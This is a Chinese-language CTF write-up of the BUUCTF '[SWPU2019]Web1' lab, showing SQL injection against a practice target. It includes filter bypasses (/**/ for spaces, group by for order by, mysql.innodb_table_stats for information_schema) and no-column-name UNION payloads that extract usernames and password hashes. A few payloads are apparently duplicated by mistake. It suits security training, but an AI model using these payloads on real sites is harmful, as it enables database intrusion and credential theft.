本期的sql注入实战在:BUUCTF在线评测 (buuoj.cn) 该网站上进行。
启动靶机:
1.进来后搜索web1
2.点击【SWPU2019】Web1启动靶机。
3.进来之后在此界面进行注入。
开始注入:
1.找注入点:
我们输入1' 后查看广告详情发现报错,说明我们找到了注入点1'
2.爆破列数
已经存在注入点,就需要找出所在表的列数,并找出在哪一列出数据,我们才能进行下一步。
经过测试,我们发现被过滤了几个东西:
- order by被过滤
- 空格被过滤了
- #号被过滤了
- -- 被过滤
- and被过滤了
替代方法:使用group by替代order by,空格有一种常规的替代使用/**/
注意1:当我们 使用&&闭合时会出现我们,即使写的再大都不会报错,如下图:说明&&有问题我们不能使用。
爆列数:
在这里使用如下方法进行闭合:在sql语句后面接一个数字时,sql语句还是会正常执行。经过测试发现当group by 22时不会报错,当group by 23时会报错。说当前所在表的列数为22列。
group by 22:
group by 23 :
所以:可以得知当前表的列数为22。
还要一种爆破出列数的方法:
直接使用: union select 1,2,3,4..........
一个一个试,知道不报错为止。
3爆出数据的列
使用:因为后面有一个数字来闭合所以只需要写21个数字。
-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'10
可以看到,数据出在2,3列
4爆数据库名和用户名
-1'/**/union/**/select/**/1,database(),user(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'10
5爆表名
经过测试:information_schema被过滤。
我们使用另一个来替代它:mysql.innodb_table_stats
查看表结构:
输入:
-1'/**/union/**/select/**/1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"&&'1'='1
此时,我们就可以查看出当前数据库web1中的表有:ads,users两张表。
6无列明注入
根据mysql.innodb_table_stats结构我们可以知道其中并没有记录字段名的信息。
我们可以根据连接查询将列明爆出了:使用jion
但是再这里jion被过滤了,就再也没有办法来爆出列名了。此时我们只能使用无列名注入来进行下一步操作了。
两张表:ads users
先查询ads,在ads中只有2,3字段出数据,所以我们只能查2,3字段的数据。
ads第二字段数据:
可以看出该字段没有数据。
-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/b,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/union/**/select/**/*/**/from/**/ads)as/**/a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'1
ads第三字段数据:
可以看出来虽然查出来了数据但这些数据都不是我们想要的。所以接下来我们需要在users表中查询数据。
-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/b,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/union/**/select/**/*/**/from/**/ads)as/**/a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'1
在users表中查询:
目前我们不知道users表中有几列,这时我们可以一个一个试。因为users表中至少有一列,我们直接试到出数据为止:
假设users有一列:
-1'/**/union/**/select/**/1,(select/**/group_concat(aa)/**/from(select/**/1/**/as/**/aa/**/union/**/select/**/*/**/from/**/users)as/**/a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'1
假设users有两列:
-1'/**/union/**/select/**/1,(select/**/group_concat(aa)/**/from(select/**/1/**/as/**/aa,2/**/union/**/select/**/*/**/from/**/users)as/**/a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'1
假设users有三列:
-1'/**/union/**/select/**/1,(select/**/group_concat(aa)/**/from(select/**/1/**/as/**/aa,2/**/union/**/select/**/*/**/from/**/users)as/**/a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'1
当试到三列的时候出数据了,并且没有报错。
这里出的数据为users表第一列的数据:
users表第二列数据:
-1'/**/union/**/select/**/1,(select/**/group_concat(aa)/**/from(select/**/1,2/**/as/**/aa,3/**/union/**/select/**/*/**/from/**/users)as/**/a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'1
users表第三列数据:
-1'/**/union/**/select/**/1,(select/**/group_concat(aa)/**/from(select/**/1,2,3/**/as/**/aa/**/union/**/select/**/*/**/from/**/users)as/**/a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'1
到此我们就吧users表中的所有数据查出来了,明显第二列为用户名,第三列为密码,密码一般都被加密了的。
到此我们就成功的完成了一次sql注入,成功的拿到了用户名和密码。
总结:这次实战过滤了几个我们常用的字符,当被过滤后我们就需要去思考使用其他的去替代它。整体不是很难,不过需要我们仔细。